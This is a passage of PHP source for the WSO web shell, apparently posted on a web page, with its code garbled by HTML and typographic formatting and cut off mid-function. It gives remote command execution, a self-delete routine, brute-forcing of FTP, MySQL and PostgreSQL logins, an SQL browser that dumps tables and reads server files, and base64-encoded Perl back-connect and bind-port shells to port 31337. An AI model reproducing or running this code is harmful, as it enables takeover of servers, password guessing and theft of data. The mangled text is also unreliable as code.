WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;stderr_to_out&#8217;, true);<br />
$_POST['p1'] .= &#8216; 2&#038;>&#038;1&#8242;;<br />
} elseif(!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;stderr_to_out&#8217;, 0);</p>
<p>if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, true);<br />
ob_start();<br />
echo &#8220;d.cf.cmd.value=&#8221;;\n&#8221;;<br />
$temp = @iconv($_POST['charset'], &#8216;UTF-8&#8242;, addcslashes(&#8220;\n$ &#8220;.$_POST['p1'].&#8221;\n&#8221;.wsoEx($_POST['p1']),&#8221;\n\r\t\\&#8217;\0&#8243;));<br />
if(preg_match(&#8220;!.*cd\s+([^;]+)$!&#8221;,$_POST['p1'],$match)) {<br />
if(@chdir($match[1])) {<br />
$GLOBALS['cwd'] = @getcwd();<br />
echo &#8220;c_=&#8217;&#8221;.$GLOBALS['cwd'].&#8221;&#8216;;&#8221;;<br />
}<br />
}<br />
echo &#8220;d.cf.output.value+=&#8217;&#8221;.$temp.&#8221;&#8216;;&#8221;;<br />
echo &#8220;d.cf.output.scrollTop = d.cf.output.scrollHeight;&#8221;;<br />
$temp = ob_get_clean();<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax'])&#038;&#038;!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, 0);<br />
wsoHeader();<br />
echo &#8220;<script type="text/javascript">// <![CDATA[
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
// ]]&gt;</script>&#8220;;<br />
echo &#8216;</p>
<h1>Console</h1>
<div class="content">
<form name="cf" onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;">
<select name="alias">&#8216;;</select>
<select name="alias"> foreach($GLOBALS['aliases'] as $n =&#038;> $v) {</select>
<select name="alias"> if($v == &#8221;) {</select>
<select name="alias"> echo &#8216;<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>&#8216;;</select>
<select name="alias"> continue;</select>
<select name="alias"> }</select>
<select name="alias"> echo &#8216;</select>
<select name="alias">
<option selected="selected" value="'.htmlspecialchars($v).'">&#8216;.$n.&#8217;</option>
</select>
<p>&#8216;;<br />
}</p>
<p>echo &#8216;</p>
<input onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" type="button" value=">>&#8221; /></p>
<input type="checkbox" name="ajax" value="1" checked="checked" /> send using AJAX</p>
<input type="checkbox" name="show_errors" value="1" checked="checked" /> redirect stderr to stdout (2&#038;>&#038;1)<br />
<textarea class="bigarea" style="border-bottom: 0; margin: 0;" name="output" readonly="readonly">&#8216;;</textarea><br />
<textarea class="bigarea" style="border-bottom: 0; margin: 0;" name="output" readonly="readonly"> if(!empty($_POST['p1'])) {</textarea><br />
<textarea class="bigarea" style="border-bottom: 0; margin: 0;" name="output" readonly="readonly"> echo htmlspecialchars(&#8220;$ &#8220;.$_POST['p1'].&#8221;\n&#8221;.wsoEx($_POST['p1']));</textarea><br />
<textarea class="bigarea" style="border-bottom: 0; margin: 0;" name="output" readonly="readonly"> }</textarea><br />
<textarea class="bigarea" style="border-bottom: 0; margin: 0;" name="output" readonly="readonly"> echo &#8216;</textarea></p>
<table style="border: 1px solid #df5; background-color: #555; border-top: 0px;" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="1%">$</td>
<td>
<input style="border: 0px; width: 100%;" onkeydown="kp(event);" type="text" name="cmd" /></td>
</tr>
</tbody>
</table>
<p>&#8216;;<br />
echo &#8216;</p>
</form>
</div>
<p><script type="text/javascript">// <![CDATA[
d.cf.cmd.focus();
// ]]&gt;</script>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionLogout() {<br />
setcookie(md5($_SERVER['HTTP_HOST']), &#8221;, time() &#8211; 3600);<br />
die(&#8216;bye!&#8217;);<br />
}</p>
<p>function actionSelfRemove() {</p>
<p>if($_POST['p1'] == &#8216;yes&#8217;)<br />
if(@unlink(preg_replace(&#8216;!\(\d+\)\s.*!&#8217;, &#8221;, __FILE__)))<br />
die(&#8216;Shell has been removed&#8217;);<br />
else<br />
echo &#8216;unlink error!&#8217;;<br />
if($_POST['p1'] != &#8216;yes&#8217;)<br />
wsoHeader();<br />
echo &#8216;</p>
<h1>Suicide</h1>
<div class="content">Really want to remove the shell?<br />
<a onclick="g(null,null,\'yes\')" href="#">Yes</a></div>
<p>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionBruteforce() {<br />
wsoHeader();<br />
if( isset($_POST['proto']) ) {<br />
echo &#8216;</p>
<h1>Results</h1>
<div class="content"><span>Type:</span> &#8216;.htmlspecialchars($_POST['proto']).&#8217; <span>Server:</span> &#8216;.htmlspecialchars($_POST['server']).&#8217;<br />
&#8216;;<br />
if( $_POST['proto'] == &#8216;ftp&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$fp = @ftp_connect($ip, $port?$port:21);<br />
if(!$fp) return false;<br />
$res = @ftp_login($fp, $login, $pass);<br />
@ftp_close($fp);<br />
return $res;<br />
}<br />
} elseif( $_POST['proto'] == &#8216;mysql&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$res = @mysql_connect($ip.&#8217;:&#8217;.($port?$port:3306), $login, $pass);<br />
@mysql_close($res);<br />
return $res;<br />
}<br />
} elseif( $_POST['proto'] == &#8216;pgsql&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$str = &#8220;host=&#8217;&#8221;.$ip.&#8221;&#8216; port=&#8217;&#8221;.$port.&#8221;&#8216; user=&#8217;&#8221;.$login.&#8221;&#8216; password=&#8217;&#8221;.$pass.&#8221;&#8216; dbname=postgres&#8221;;<br />
$res = @pg_connect($str);<br />
@pg_close($res);<br />
return $res;<br />
}<br />
}<br />
$success = 0;<br />
$attempts = 0;<br />
$server = explode(&#8220;:&#8221;, $_POST['server']);<br />
if($_POST['type'] == 1) {<br />
$temp = @file(&#8216;/etc/passwd&#8217;);<br />
if( is_array($temp) )<br />
foreach($temp as $line) {<br />
$line = explode(&#8220;:&#8221;, $line);<br />
++$attempts;<br />
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {<br />
$success++;<br />
echo &#8216;<strong>&#8216;.htmlspecialchars($line[0]).&#8217;</strong>:&#8217;.htmlspecialchars($line[0]).&#8217;<br />
&#8216;;<br />
}<br />
if(@$_POST['reverse']) {<br />
$tmp = &#8220;&#8221;;<br />
for($i=strlen($line[0])-1; $i&#038;>=0; &#8211;$i)<br />
$tmp .= $line[0][$i];<br />
++$attempts;<br />
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {<br />
$success++;<br />
echo &#8216;<strong>&#8216;.htmlspecialchars($line[0]).&#8217;</strong>:&#8217;.htmlspecialchars($tmp);<br />
}<br />
}<br />
}<br />
} elseif($_POST['type'] == 2) {<br />
$temp = @file($_POST['dict']);<br />
if( is_array($temp) )<br />
foreach($temp as $line) {<br />
$line = trim($line);<br />
++$attempts;<br />
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {<br />
$success++;<br />
echo &#8216;<strong>&#8216;.htmlspecialchars($_POST['login']).&#8217;</strong>:&#8217;.htmlspecialchars($line).&#8217;<br />
&#8216;;<br />
}<br />
}<br />
}<br />
echo &#8220;<span>Attempts:</span> $attempts <span>Success:</span> $success</div>
<p>&#8220;;<br />
}<br />
echo &#8216;</p>
<h1>Bruteforce</h1>
<div class="content">
<table>
<tbody>
<tr>
<td><span>Type</span></td>
<p>&#8216;.&#8217;<br />
<option selected="selected" value="ftp">FTP</option>
<option value="mysql">MySql</option>
<option value="pgsql">PostgreSql</option>
<td>&#8216;<br />
.&#8217;</p>
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'" />&#8216;<br />
.&#8217;</p>
<input type="hidden" name="a" value="'.htmlspecialchars($_POST['a']).'" />&#8216;<br />
.&#8217;</p>
<input type="hidden" name="charset" value="'.htmlspecialchars($_POST['charset']).'" />&#8216;<br />
.&#8217;<span>Server:port</span></td>
<p>&#8216;.&#8221;<br />
.&#8217;</p>
<td><span>Brute type</span></td>
<p>&#8216;.&#8217;</p>
<input type="radio" name="type" value="1" checked="checked" /> /etc/passwd&#8217;<br />
.&#8217;</p>
<td> </td>
<td><label style="padding-left: 15px;"></p>
<input type="checkbox" name="reverse" value="1" checked="checked" /> reverse (login -&#038;> nigol)</label></td>
<p>&#8216;<br />
.&#8217;</p>
<td> </td>
<td><label></p>
<input type="radio" name="type" value="2" /> Dictionary</label></td>
<p>&#8216;<br />
.&#8217;</p>
<td> </td>
<td>
<table style="padding-left: 15px;">
<tbody>
<tr>
<td><span>Login</span></td>
<p>&#8216;.&#8217;</tr>
<p>&#8216;.&#8217;</p>
<tr>
<td><span>Dictionary</span></td>
<p>&#8216;.&#8217;</tr>
</tbody>
</table>
<p>&#8216;<br />
.&#8217;</td>
<td> </td>
<td>
<input type="submit" value=">>&#8221; /></td>
</tr>
</tbody>
</table>
<p>&#8216;;<br />
echo &#8216;</p>
</div>
<p>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionSql() {<br />
class DbClass {<br />
var $type;<br />
var $link;<br />
var $res;<br />
function DbClass($type) {<br />
$this-&#038;>type = $type;<br />
}<br />
function connect($host, $user, $pass, $dbname){<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
if( $this-&#038;>link = @mysql_connect($host,$user,$pass,true) ) return true;<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$host = explode(&#8216;:&#8217;, $host);<br />
if(!$host[1]) $host[1]=5432;<br />
if( $this-&#038;>link = @pg_connect(&#8220;host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname&#8221;) ) return true;<br />
break;<br />
}<br />
return false;<br />
}<br />
function selectdb($db) {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
if (@mysql_select_db($db))return true;<br />
break;<br />
}<br />
return false;<br />
}<br />
function query($str) {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return $this-&#038;>res = @mysql_query($str);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this-&#038;>res = @pg_query($this-&#038;>link,$str);<br />
break;<br />
}<br />
return false;<br />
}<br />
function fetch() {<br />
$res = func_num_args()?func_get_arg(0):$this-&>res;<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return @mysql_fetch_assoc($res);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_fetch_assoc($res);<br />
break;<br />
}<br />
return false;<br />
}<br />
function listDbs() {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return $this-&#038;>query(&#8220;SHOW databases&#8221;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this-&#038;>res = $this-&#038;>query(&#8220;SELECT datname FROM pg_database WHERE datistemplate!=&#8217;t'&#8221;);<br />
break;<br />
}<br />
return false;<br />
}<br />
function listTables() {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return $this-&#038;>res = $this-&#038;>query(&#8216;SHOW TABLES&#8217;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this-&#038;>res = $this-&#038;>query(&#8220;select table_name from information_schema.tables where table_schema != &#8216;information_schema&#8217; AND table_schema != &#8216;pg_catalog&#8217;&#8221;);<br />
break;<br />
}<br />
return false;<br />
}<br />
function error() {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return @mysql_error();<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_last_error();<br />
break;<br />
}<br />
return false;<br />
}<br />
function setCharset($str) {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
if(function_exists(&#8216;mysql_set_charset&#8217;))<br />
return @mysql_set_charset($str, $this-&#038;>link);<br />
else<br />
$this-&#038;>query(&#8216;SET CHARSET &#8216;.$str);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_set_client_encoding($this-&#038;>link, $str);<br />
break;<br />
}<br />
return false;<br />
}<br />
function loadFile($str) {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
return $this-&#038;>fetch($this-&#038;>query(&#8220;SELECT LOAD_FILE(&#8216;&#8221;.addslashes($str).&#8221;&#8216;) as file&#8221;));<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$this-&#038;>query(&#8220;CREATE TABLE wso2(file text);COPY wso2 FROM &#8216;&#8221;.addslashes($str).&#8221;&#8216;;select file from wso2;&#8221;);<br />
$r=array();<br />
while($i=$this-&#038;>fetch())<br />
$r[] = $i['file'];<br />
$this-&#038;>query(&#8216;drop table wso2&#8242;);<br />
return array(&#8216;file&#8217;=&#038;>implode(&#8220;\n&#8221;,$r));<br />
break;<br />
}<br />
return false;<br />
}<br />
function dump($table, $fp = false) {<br />
switch($this-&#038;>type) {<br />
case &#8216;mysql&#8217;:<br />
$res = $this-&#038;>query(&#8216;SHOW CREATE TABLE `&#8217;.$table.&#8217;`');<br />
$create = mysql_fetch_array($res);<br />
$sql = $create[1].&#8221;;\n&#8221;;<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
$this-&#038;>query(&#8216;SELECT * FROM `&#8217;.$table.&#8217;`');<br />
$i = 0;<br />
$head = true;<br />
while($item = $this-&#038;>fetch()) {<br />
$sql = &#8221;;<br />
if($i % 1000 == 0) {<br />
$head = true;<br />
$sql = &#8220;;\n\n&#8221;;<br />
}</p>
<p>$columns = array();<br />
foreach($item as $k=&#038;>$v) {<br />
if($v === null)<br />
$item[$k] = &#8220;NULL&#8221;;<br />
elseif(is_int($v))<br />
$item[$k] = $v;<br />
else<br />
$item[$k] = &#8220;&#8216;&#8221;.@mysql_real_escape_string($v).&#8221;&#8216;&#8221;;<br />
$columns[] = &#8220;`&#8221;.$k.&#8221;`&#8221;;<br />
}<br />
if($head) {<br />
$sql .= &#8216;INSERT INTO `&#8217;.$table.&#8217;` (&#8216;.implode(&#8220;, &#8220;, $columns).&#8221;) VALUES \n\t(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)';<br />
$head = false;<br />
} else<br />
$sql .= &#8220;\n\t,(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)';<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
$i++;<br />
}<br />
if(!$head)<br />
if($fp) fwrite($fp, &#8220;;\n\n&#8221;); else echo(&#8220;;\n\n&#8221;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$this-&#038;>query(&#8216;SELECT * FROM &#8216;.$table);<br />
while($item = $this-&#038;>fetch()) {<br />
$columns = array();<br />
foreach($item as $k=&#038;>$v) {<br />
$item[$k] = &#8220;&#8216;&#8221;.addslashes($v).&#8221;&#8216;&#8221;;<br />
$columns[] = $k;<br />
}<br />
$sql = &#8216;INSERT INTO &#8216;.$table.&#8217; (&#8216;.implode(&#8220;, &#8220;, $columns).&#8217;) VALUES (&#8216;.implode(&#8220;, &#8220;, $item).&#8217;);&#8217;.&#8221;\n&#8221;;<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
}<br />
break;<br />
}<br />
return false;<br />
}<br />
};<br />
$db = new DbClass($_POST['type']);<br />
if((@$_POST['p2']==&#8217;download&#8217;) &#038;&#038; (@$_POST['p1']!=&#8217;select&#8217;)) {<br />
$db-&#038;>connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);<br />
$db-&#038;>selectdb($_POST['sql_base']);<br />
switch($_POST['charset']) {<br />
case &#8220;Windows-1251&#8243;: $db-&#038;>setCharset(&#8216;cp1251&#8242;); break;<br />
case &#8220;UTF-8&#8243;: $db-&#038;>setCharset(&#8216;utf8&#8242;); break;<br />
case &#8220;KOI8-R&#8221;: $db-&#038;>setCharset(&#8216;koi8r&#8217;); break;<br />
case &#8220;KOI8-U&#8221;: $db-&#038;>setCharset(&#8216;koi8u&#8217;); break;<br />
case &#8220;cp866&#8243;: $db-&#038;>setCharset(&#8216;cp866&#8242;); break;<br />
}<br />
if(empty($_POST['file'])) {<br />
ob_start(&#8220;ob_gzhandler&#8221;, 4096);<br />
header(&#8220;Content-Disposition: attachment; filename=dump.sql&#8221;);<br />
header(&#8220;Content-Type: text/plain&#8221;);<br />
foreach($_POST['tbl'] as $v)<br />
$db-&#038;>dump($v);<br />
exit;<br />
} elseif($fp = @fopen($_POST['file'], &#8216;w&#8217;)) {<br />
foreach($_POST['tbl'] as $v)<br />
$db-&#038;>dump($v, $fp);<br />
fclose($fp);<br />
unset($_POST['p2']);<br />
} else<br />
die(&#8216;<script type="text/javascript">// <![CDATA[
alert("Error! Can\'t open file");window.history.back(-1)
// ]]&gt;</script>&#8216;);<br />
}<br />
wsoHeader();<br />
echo &#8221;</p>
<h1>Sql browser</h1>
<div class="content">
<form method="post" name="sf" onsubmit="fs(this);">
<table cellspacing="0" cellpadding="2">
<tbody>
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td> </td>
</tr>
<tr>
<td>
<select name="type">
<option value="mysql">MySql</option>
<option selected="selected" value="pgsql">PostgreSql</option>
</select>
</td>
<td>
<input type="text" name="sql_host" value="\""." /></td>
<td>
<input type="text" name="sql_login" value="\""." /></td>
<td>
<input type="text" name="sql_pass" value="\""." /></td>
<td>&#8220;;<br />
$tmp = &#8221;</p>
<input type="text" name="sql_base" />&#8220;;<br />
if(isset($_POST['sql_host'])){<br />
if($db-&#038;>connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {<br />
switch($_POST['charset']) {<br />
case &#8220;Windows-1251&#8243;: $db-&#038;>setCharset(&#8216;cp1251&#8242;); break;<br />
case &#8220;UTF-8&#8243;: $db-&#038;>setCharset(&#8216;utf8&#8242;); break;<br />
case &#8220;KOI8-R&#8221;: $db-&#038;>setCharset(&#8216;koi8r&#8217;); break;<br />
case &#8220;KOI8-U&#8221;: $db-&#038;>setCharset(&#8216;koi8u&#8217;); break;<br />
case &#8220;cp866&#8243;: $db-&#038;>setCharset(&#8216;cp866&#8242;); break;<br />
}<br />
$db-&#038;>listDbs();<br />
echo &#8221;<br />
&#8220;;<br />
while($item = $db-&#038;>fetch()) {<br />
list($key, $value) = each($item);<br />
echo &#8216;</p>
<p>&#8216;.$value.&#8221;;<br />
}<br />
echo &#8216;</p>
<p>&#8216;;<br />
}<br />
else echo $tmp;<br />
}else<br />
echo $tmp;<br />
echo &#8220;</td>
<td>
<input onclick="fs(d.sf);" type="submit" value=">>&#8221; /></td>
<td>
<input type="checkbox" name="sql_count" value="on" checked="checked" /> count the number of rows</td>
</tr>
</tbody>
</table>
<p><script type="text/javascript">// <![CDATA[
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l &#038;&#038; d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}</p>
<p>// ]]&gt;</script>&#8220;;<br />
if(isset($db) &#038;&#038; $db-&#038;>link){<br />
echo &#8221;</p>
<table width="100%" cellspacing="0" cellpadding="2">&#8220;; if(!empty($_POST['sql_base'])){ $db-&#038;>selectdb($_POST['sql_base']); echo &#8221;</p>
<tbody>
<tr>
<td style="border-top: 2px solid #666;" width="1"><span>Tables:</span></td>
</tr>
</tbody>
</table>
<p>&#8220;;<br />
$tbls_res = $db-&#038;>listTables();<br />
while($item = $db-&#038;>fetch($tbls_res)) {<br />
list($key, $value) = each($item);<br />
if(!empty($_POST['sql_count']))<br />
$n = $db-&#038;>fetch($db-&#038;>query(&#8216;SELECT COUNT(*) as n FROM &#8216;.$value.&#8221;));<br />
$value = htmlspecialchars($value);<br />
echo &#8221;</p>
<input type="checkbox" name="tbl[]" value="".$value."" /> <a onclick="\"st('".$value."',1)\"" href="#">&#8220;.$value.&#8221;</a>&#8221; . (empty($_POST['sql_count'])?&#8217; &#8216;:&#8221; <small>({$n['n']})</small>&#8220;) . &#8221;<br />
&#8220;;<br />
}<br />
echo &#8221;</p>
<input onclick="is();" type="checkbox" />
<input onclick="document.sf.p2.value=\"download\";document.sf.submit();" type="button" value="Dump" />File path:</p>
<input type="text" name="file" value="dump.sql" />&#8220;;<br />
if(@$_POST['p1'] == &#8216;select&#8217;) {<br />
$_POST['p1'] = &#8216;query&#8217;;<br />
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;<br />
$db-&#038;>query(&#8216;SELECT COUNT(*) as n FROM &#8216; . $_POST['p2']);<br />
$num = $db-&#038;>fetch();<br />
$pages = ceil($num['n'] / 30);<br />
echo &#8220;<script type="text/javascript">// <![CDATA[
d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}
// ]]&gt;</script><span>&#8220;.$_POST['p2'].&#8221;</span> ({$num['n']} records) Page #</p>
<input type="text" name="p3" value=" . ((int)$_POST['p3']) . " />&#8220;;<br />
echo &#8221; of $pages&#8221;;<br />
if($_POST['p3'] &#038;> 1)<br />
echo &#8221; <a onclick="st(\"" . $_POST[" href="#">&#038;< Prev</a>&#8220;;<br />
if($_POST['p3'] &#038;< $pages)<br />
echo " <a onclick="st(\"" . $_POST[" href="#">Next &#038;></a>&#8220;;<br />
$_POST['p3']&#8211;;<br />
if($_POST['type']==&#8217;pgsql&#8217;)<br />
$_POST['p2'] = &#8216;SELECT * FROM &#8216;.$_POST['p2'].&#8217; LIMIT 30 OFFSET &#8216;.($_POST['p3']*30);<br />
else<br />
$_POST['p2'] = &#8216;SELECT * FROM `&#8217;.$_POST['p2'].&#8217;` LIMIT &#8216;.($_POST['p3']*30).&#8217;,30&#8242;;<br />
echo &#8221;</p>
<p>&#8220;;<br />
}<br />
if((@$_POST['p1'] == &#8216;query&#8217;) &#038;&#038; !empty($_POST['p2'])) {<br />
$db-&#038;>query(@$_POST['p2']);<br />
if($db-&#038;>res !== false) {<br />
$title = false;<br />
echo &#8216;</p>
<table class="main" style="background-color: #292929;" width="100%" cellspacing="1" cellpadding="2">&#8216;; $line = 1; while($item = $db-&#038;>fetch()) { if(!$title) { echo &#8216;</p>
<tbody>
<tr>&#8216;; foreach($item as $key =&#038;> $value)echo &#8216;</p>
<th>&#8216;.$key.&#8217;</th>
<p>&#8216;;reset($item);$title=true;echo &#8216;</tr>
<tr>&#8216;; $line = 2; } echo &#8221;; $line = $line==1?2:1; foreach($item as $key =&#038;> $value) { if($value == null)echo &#8216;</p>
<td><em>null</em></td>
<p>&#8216;;elseecho &#8221;.nl2br(htmlspecialchars($value)).&#8221;;}echo &#8221;;}echo &#8216;</tr>
</tbody>
</table>
<p>&#8216;;<br />
} else {<br />
echo &#8216;</p>
<div><strong>Error:</strong> &#8216;.htmlspecialchars($db-&#038;>error()).&#8217;</div>
<p>&#8216;;<br />
}<br />
}<br />
echo &#8221;</p>
</form>
<form onsubmit="d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;"><textarea style="width: 100%; height: 100px;" name="query">&#8220;;</textarea><br />
<textarea style="width: 100%; height: 100px;" name="query"> if(!empty($_POST['p2']) &#038;&#038; ($_POST['p1'] != &#8216;loadfile&#8217;))</textarea><br />
<textarea style="width: 100%; height: 100px;" name="query"> echo htmlspecialchars($_POST['p2']);</textarea><br />
<textarea style="width: 100%; height: 100px;" name="query"> echo &#8220;</textarea></p>
<input type="submit" value="Execute" />&#8220;;<br />
echo &#8220;&#8221;;<br />
}<br />
echo &#8221;</p>
</form>
<p>&#8220;;<br />
if($_POST['type']==&#8217;mysql&#8217;) {<br />
$db-&#038;>query(&#8220;SELECT 1 FROM mysql.user WHERE concat(`user`, &#8216;@&#8217;, `host`) = USER() AND `File_priv` = &#8216;y&#8217;&#8221;);<br />
if($db-&#038;>fetch())<br />
echo &#8221;</p>
<form onsubmit="d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;"><span>Load file</span></p>
<input class="toolsInp" type="text" name="f" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8220;;<br />
}<br />
if(@$_POST['p1'] == &#8216;loadfile&#8217;) {<br />
$file = $db-&#038;>loadFile($_POST['p2']);<br />
echo &#8216;</p>
<pre class="ml1">'.htmlspecialchars($file['file']).'</pre>
<p>&#8216;;<br />
}<br />
} else {<br />
echo htmlspecialchars($db-&#038;>error());<br />
}<br />
echo &#8216;</p>
</div>
<p>&#8216;;<br />
wsoFooter();<br />
}<br />
function actionNetwork() {<br />
wsoHeader();<br />
$back_connect_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7&#8243;;<br />
$bind_port_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=&#8221;;<br />
echo &#8221;</p>
<h1>Network tools</h1>
<div class="content">
<form name="nfp" onsubmit="\"g(null,null,'bpp',this.port.value);return"><span>Bind port to /bin/sh [perl]</span></p>
<p>Port:</p>
<input type="text" name="port" value="31337" />
<input type="submit" value=">>&#8221; /></form>
<form name="nfp" onsubmit="\"g(null,null,'bcp',this.server.value,this.port.value);return"><span>Back-connect [perl]</span></p>
<p>Server:</p>
<input type="text" name="server" value="". $_SERVER[" /> Port:</p>
<input type="text" name="port" value="31337" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8220;;<br />
if(isset($_POST['p1'])) {<br />
function cf($f,$t) {<br />
$w = @fopen($f,&#8221;w&#8221;) or @function_exists(&#8216;file_put_contents&#8217;);<br />
if($w){<br />
@fwrite($w,@base64_decode($t));<br />
@fclose($w);<br />
}<br />
}<br />
if($_POST['p1'] == &#8216;bpp&#8217;) {<br />
cf(&#8220;/tmp/bp.pl&#8221;,$bind_port_p);<br />
